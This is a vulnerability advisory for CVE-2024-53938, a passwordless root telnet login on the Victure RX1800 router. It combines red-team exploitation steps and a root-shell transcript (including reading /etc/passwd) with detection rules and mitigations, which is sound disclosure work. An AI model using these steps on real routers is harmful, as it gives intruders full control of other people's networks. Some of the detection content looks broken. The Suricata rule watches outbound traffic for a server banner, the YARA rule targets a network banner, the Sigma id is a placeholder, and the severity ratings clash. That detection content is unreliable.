CVE-2024-53938

Executive Summary

CVE-2024-53938 exposes a critical authentication bypass vulnerability in the Victure RX1800 WiFi 6 Router. The TELNET service is enabled by default and exposed over the LAN, with the root account accessible without a password. This allows any attacker on the local network to gain full remote control of the router without any authentication. The vulnerability is unpatched, and no official fix is available from the vendor. The CVSS score is 0.0 in the NVD, but based on the impact, a realistic CVSSv3.1 score would be 8.8 (High) due to the ease of exploitation and full compromise of confidentiality, integrity, and availability.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – Exploitation requires access to the local network.
• Attack Complexity (AC): Low (AC:L) – No special conditions required.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – The vulnerable component is the router itself.
• Confidentiality (C): High (C:H) – Full access to router configuration and network traffic.
• Integrity (I): High (I:H) – Ability to modify router settings and firmware.
• Availability (A): High (A:H) – Can disable or brick the router.

Threat Level: Critical. The vulnerability is trivial to exploit and provides complete control over the device.

Deep Dive & Mechanics

The Victure RX1800 router runs firmware version EN_V1.0.0_r12_110933 on hardware version 1.0. The TELNET service is enabled by default and listens on TCP port 23 on the LAN interface. The root account is configured with an empty password, meaning any connection attempt with the username "root" and no password is accepted. This is a classic case of CWE-306: Missing Authentication for Critical Function.

The TELNET service does not require any authentication challenge; it directly spawns a root shell upon connection. This allows an attacker to execute arbitrary commands, modify firewall rules, intercept traffic, install malware, or use the router as a pivot point for further attacks.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable configuration is the default factory settings. A patched version would require:

• Disabling TELNET by default.
• Requiring a strong password for the root account.
• Implementing proper authentication mechanisms.

Since no patch exists, the only mitigation is to disable TELNET manually or replace the device.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Victure RX1800 router with firmware EN_V1.0.0_r12_110933.
2. Connect the router to a local network (e.g., 192.168.1.1).
3. Use a Linux machine on the same network.

Exploitation Steps:

1. Scan for the router: nmap -p 23 192.168.1.1
2. Connect via TELNET: telnet 192.168.1.1
3. At the login prompt, enter username root and press Enter (no password).
4. You will get a root shell. Execute commands like id, ls, cat /etc/passwd.

Example Command:

telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
Victure RX1800 login: root
Password: (press Enter)
# id
uid=0(root) gid=0(root)

Blue Team

Detection Steps:

1. Monitor for unauthorized TELNET connections to the router.
2. Check router logs for successful root logins without a password.
3. Use network monitoring to detect TELNET traffic (port 23) from unexpected hosts.
4. Implement network segmentation to isolate IoT devices.

Mitigation:

1. Disable TELNET service via the router's web interface or CLI.
2. Change the root password immediately.
3. If possible, update firmware (though no patch exists).
4. Replace the device with a secure alternative.

Indicators of Compromise (IOCs)

• Network: TELNET connections to the router's IP address on port 23.
• Logs: Successful login events for user "root" with no password.
• Processes: Unusual processes running on the router (e.g., reverse shells, crypto miners).
• Files: Modified configuration files (e.g., /etc/passwd, /etc/shadow).
• Outbound Connections: Unexpected outbound connections from the router to external IPs.

Detection Engineering

YARA Rule

rule CVE_2024_53938_Victure_RX1800_Telnet_Backdoor {
    meta:
        description = "Detects TELNET backdoor on Victure RX1800 router"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53938"
    strings:
        $telnet_banner = "Victure RX1800 login:"
        $root_prompt = "# "
    condition:
        $telnet_banner at 0 and $root_prompt
}

Sigma Rule

title: CVE-2024-53938 - Victure RX1800 TELNET Backdoor Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects successful TELNET login to Victure RX1800 router without password
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-53938
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 23
        dest_ip: "192.168.1.1"  # Adjust to router IP
        app_protocol: "telnet"
    condition: selection
falsepositives:
    - Legitimate administrative access (if password is set)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 23 (msg:"CVE-2024-53938 - Victure RX1800 TELNET Backdoor Exploit"; flow:to_server,established; content:"Victure RX1800 login:"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable TELNET service on the router. This can be done via the web interface (if available) or by connecting via SSH (if enabled) and running:

   killall telnetd
   

2. Change Root Password: Set a strong password for the root account:

   passwd root
   

3. Network Segmentation: Place the router on a separate VLAN with strict firewall rules.
4. Firmware Update: Check the vendor's website for any future patches. If none, consider replacing the device.
5. Monitor Logs: Regularly check router logs for unauthorized access.
6. Replace Device: If the vendor does not provide a patch, replace the router with a secure alternative.

Valters IT